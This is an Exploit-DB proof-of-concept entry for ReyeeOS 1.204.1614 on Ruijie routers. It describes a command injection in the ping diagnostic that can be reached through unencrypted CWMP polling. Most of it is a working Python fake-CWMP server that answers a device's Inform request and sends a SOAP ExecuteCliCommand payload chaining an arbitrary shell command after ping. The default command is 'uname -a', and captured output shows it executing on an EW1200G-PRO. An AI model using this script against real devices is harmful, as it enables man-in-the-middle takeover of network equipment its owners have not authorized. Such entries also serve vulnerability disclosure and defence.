ReyeeOS 1.204.1614 – MITM Remote Code Execution (RCE)

  • 作者: Riyan Firmansyah of Seclab
    日期: 2023-08-04
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/51642/
  • # Exploit Title: ReyeeOS 1.204.1614 - MITM Remote Code Execution (RCE)
    # Google Dork: None
    # Date: July 31, 2023
    # Exploit Author: Riyan Firmansyah of Seclab
    # Vendor Homepage: https://ruijienetworks.com
    # Software Link: https://www.ruijienetworks.com/support/documents/slide_EW1200G-PRO-Firmware-B11P204
    # Version: ReyeeOS 1.204.1614; EW_3.0(1)B11P204, Release(10161400)
    # Tested on: Ruijie RG-EW1200, Ruijie RG-EW1200G PRO
    # CVE : None
    
    """
    Summary
    =======
    The Ruijie Reyee Cloud Web Controller allows the user to use a diagnostic tool which includes a ping check to ensure connection to the intended network, but the ip address input form is not validated properly and allows the user to perform OS command injection.
    In other side, Ruijie Reyee Cloud based Device will make polling request to Ruijie Reyee CWMP server to ask if there's any command from web controller need to be executed. After analyze the network capture that come from the device, the connection for pooling request to Ruijie Reyee CWMP server is unencrypted HTTP request.
    Because of unencrypted HTTP request that come from Ruijie Reyee Cloud based Device, attacker could make fake server using Man-in-The-Middle (MiTM) attack and send arbitrary commands to execute on the cloud based device that make CWMP request to fake server.
    Once the attacker have gained access, they can execute arbitrary commands on the system or application, potentially compromising sensitive data, installing malware, or taking control of the system.
    """
    
    #!/usr/bin/env python3
    # -*- coding: utf-8 -*-
    from html import escape, unescape
    import http.server
    import socketserver
    import io
    import time
    import re
    import argparse
    import gzip
    
    # command payload
    command = "uname -a"
    
    # change this to serve on a different port
    PORT = 8080
    
    def cwmp_inform(soap):
    cwmp_id = re.search(r"(?:<cwmp:ID.*?>)(.*?)(?:<\/cwmp:ID>)", soap).group(1)
    product_class = re.search(r"(?:<ProductClass.*?>)(.*?)(?:<\/ProductClass>)", soap).group(1)
    serial_number = re.search(r"(?:<SerialNumber.*?>)(.*?)(?:<\/SerialNumber>)", soap).group(1)
    result = {'cwmp_id': cwmp_id, 'product_class': product_class, 'serial_number': serial_number, 'parameters': {}}
    parameters = re.findall(r"(?:<P>)(.*?)(?:<\/P>)", soap)
    for parameter in parameters:
    parameter_name = re.search(r"(?:<N>)(.*?)(?:<\/N>)", parameter).group(1)
    parameter_value = re.search(r"(?:<V>)(.*?)(?:<\/V>)", parameter).group(1)
    result['parameters'][parameter_name] = parameter_value
    return result
    
    def cwmp_inform_response():
    return """<?xml version='1.0' encoding='UTF-8'?>
    <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:cwmp="urn:dslforum-org:cwmp-1-0" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><SOAP-ENV:Header><cwmp:ID SOAP-ENV:mustUnderstand="1">16</cwmp:ID><cwmp:NoMoreRequests>1</cwmp:NoMoreRequests></SOAP-ENV:Header><SOAP-ENV:Body><cwmp:InformResponse><MaxEnvelopes>1</MaxEnvelopes></cwmp:InformResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>"""
    
    def command_payload(command):
    current_time = time.time()
    result = """<?xml version='1.0' encoding='UTF-8'?>
    <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:cwmp="urn:dslforum-org:cwmp-1-0" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><SOAP-ENV:Header><cwmp:ID SOAP-ENV:mustUnderstand="1">ID:intrnl.unset.id.X_RUIJIE_COM_CN_ExecuteCliCommand{cur_time}</cwmp:ID><cwmp:NoMoreRequests>1</cwmp:NoMoreRequests></SOAP-ENV:Header><SOAP-ENV:Body><cwmp:X_RUIJIE_COM_CN_ExecuteCliCommand><Mode>config</Mode><CommandList SOAP-ENC:arrayType="xsd:string[1]"><Command>{command}</Command></CommandList></cwmp:X_RUIJIE_COM_CN_ExecuteCliCommand></SOAP-ENV:Body></SOAP-ENV:Envelope>""".format(cur_time=current_time, command=command)
    return result
    
    def command_response(soap):
    cwmp_id = re.search(r"(?:<cwmp:ID.*?>)(.*?)(?:<\/cwmp:ID>)", soap).group(1)
    command = re.search(r"(?:<Command>)(.*?)(?:<\/Command>)", soap).group(1)
    response = re.search(r"(?:<Response>)((\n|.)*?)(?:<\/Response>)", soap).group(1)
    result = {'cwmp_id': cwmp_id, 'command': command, 'response': response}
    return result
    
    class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
    protocol_version = 'HTTP/1.1'
    def do_GET(self):
    self.send_response(204)
    self.end_headers()
    
    def do_POST(self):
    print("[*] Got hit by", self.client_address)
    
    f = io.BytesIO()
    if 'service' in self.path:
    stage, info = self.parse_stage()
    if stage == "cwmp_inform":
    self.send_response(200)
    print("[!] Got Device information", self.client_address)
    print("[*] Product Class:", info['product_class'])
    print("[*] Serial Number:", info['serial_number'])
    print("[*] MAC Address:", info['parameters']['mac'])
    print("[*] STUN Client IP:", info['parameters']['stunclientip'])
    payload = bytes(cwmp_inform_response(), 'utf-8')
    f.write(payload)
    self.send_header("Content-Length", str(f.tell()))
    elif stage == "command_request":
    self.send_response(200)
    self.send_header("Set-Cookie", "JSESSIONID=6563DF85A6C6828915385C5CDCF4B5F5; Path=/service; HttpOnly")
    print("[*] Device interacting", self.client_address)
    print(info)
    payload = bytes(command_payload(escape("ping -c 4 127.0.0.1 && {}".format(command))), 'utf-8')
    f.write(payload)
    self.send_header("Content-Length", str(f.tell()))
    else:
    print("[*] Command response", self.client_address)
    print(unescape(info['response']))
    self.send_response(204)
    f.write(b"")
    else:
    print("[x] Received invalid request", self.client_address)
    self.send_response(204)
    f.write(b"")
    
    f.seek(0)
    self.send_header("Connection", "keep-alive")
    self.send_header("Content-type", "text/xml;charset=utf-8")
    self.end_headers()
    if f:
    self.copyfile(f, self.wfile)
    f.close()
    
    def parse_stage(self):
    content_length = int(self.headers['Content-Length'])
    post_data = gzip.decompress(self.rfile.read(content_length))
    if "cwmp:Inform" in post_data.decode("utf-8"):
    return ("cwmp_inform", cwmp_inform(post_data.decode("utf-8")))
    elif "cwmp:X_RUIJIE_COM_CN_ExecuteCliCommandResponse" in post_data.decode("utf-8"):
    return ("command_response", command_response(post_data.decode("utf-8")))
    else:
    return ("command_request", "Ping!")
    
    def log_message(self, format, *args):
    return
    
    if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('--bind', '-b', default='', metavar='ADDRESS',
    help='Specify alternate bind address '
     '[default: all interfaces]')
    parser.add_argument('port', action='store',
    default=PORT, type=int,
    nargs='?',
    help='Specify alternate port [default: {}]'.format(PORT))
    args = parser.parse_args()
    
    Handler = CustomHTTPRequestHandler
    with socketserver.TCPServer((args.bind, args.port), Handler) as httpd:
    ip_addr = args.bind if args.bind != '' else '0.0.0.0'
    print("[!] serving fake CWMP server at {}:{}".format(ip_addr, args.port))
    try:
    httpd.serve_forever()
    except KeyboardInterrupt:
    pass
    httpd.server_close()
    
    
    """
    Output
    ======
    ubuntu:~$ python3 exploit.py
    [!] serving fake CWMP server at 0.0.0.0:8080
    [*] Got hit by ('[redacted]', [redacted])
    [!] Got Device information ('[redacted]', [redacted])
    [*] Product Class: EW1200G-PRO
    [*] Serial Number: [redacted]
    [*] MAC Address: [redacted]
    [*] STUN Client IP: [redacted]:[redacted]
    [*] Got hit by ('[redacted]', [redacted])
    [*] Device interacting ('[redacted]', [redacted])
    Ping!
    [*] Got hit by ('[redacted]', [redacted])
    [*] Command response ('[redacted]', [redacted])
    PING 127.0.0.1 (127.0.0.1): 56 data bytes
    64 bytes from 127.0.0.1: seq=0 ttl=64 time=0.400 ms
    64 bytes from 127.0.0.1: seq=1 ttl=64 time=0.320 ms
    64 bytes from 127.0.0.1: seq=2 ttl=64 time=0.320 ms
    64 bytes from 127.0.0.1: seq=3 ttl=64 time=0.300 ms
    
    --- 127.0.0.1 ping statistics ---
    4 packets transmitted, 4 packets received, 0% packet loss
    round-trip min/avg/max = 0.300/0.335/0.400 ms
    Linux Ruijie 3.10.108 #1 SMP Fri Apr 14 00:39:29 UTC 2023 mips GNU/Linux
    
    """